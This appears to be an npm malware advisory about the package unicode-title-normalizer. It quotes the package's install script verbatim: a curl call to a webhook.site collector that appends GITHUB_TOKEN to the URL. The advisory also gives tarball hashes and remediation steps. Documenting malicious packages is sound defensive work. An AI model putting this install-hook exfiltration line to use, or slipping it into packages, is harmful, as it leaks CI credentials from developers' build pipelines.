Malicious code in unicode-title-normalizer (npm)

[email protected] was published to npm on 2026-10-19 at 14:50:39 UTC by the account blunty_blunks, about one minute after npm's staged-publish placeholder 0.0.0-stage. The tarball has three files. index.js exports a function that returns the string "hello", and README.md is an unedited template for a package named @your-scope/hello-example. The package name has nothing to do with the code.

package.json declares an install script, which npm runs on every install:

echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}

The script calls a webhook.site URL with a path segment meant to carry GITHUB_TOKEN, the token GitHub Actions gives to workflow runs. The path segment "workfloou" also points at CI workflows. The token is written in GitHub Actions expression syntax (${{ }}), which sh and bash reject as a bad substitution, so on POSIX shells the curl command most likely does not run. The intent is to send a CI credential to a third-party endpoint at install time.

Tarball sha256: 0ca2a83f6815ad479d01157be6a64e8c544e99beccef3b8583c89b4f0422bc6a Tarball sha1: 2e9267199fecadd8601284a4728ea4b08ff3ba0a

npm removed the package on 2026-10-20, and the name now holds npm's 0.0.1-security placeholder.

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (d0b7fd66ab9bf639779e619823ab3eb75ee795206661fa0472331571e32196ab)

The package's npm install lifecycle script in package.json (line 11) runs curl against a hardcoded webhook.site collector URL (https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}), appending the installer's GITHUB_TOKEN value to the request path. On npm install this sends the CI/installer GitHub token to an anonymous third-party request-bin that is unrelated to the publisher. The shipped code is otherwise a trivial hello() stub and the package name (unicode-title-normalizer) and description (Says hello.) do not correspond to the shipped functionality — the only operative behavior is the install-time credential exfiltration. The GitHub-Actions-style ${{GITHUB_TOKEN}} templating indicates the payload is designed to detonate inside a GitHub Actions workflow where the token expands to a live CI credential. Package shape is consistent with a typosquat/dependency-confusion lure.

Source: ghsa-malware (1f059f91bbee6e3b554765f1bbb1abb55ff9cbbb122877db25b00f88ab4f26f7)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.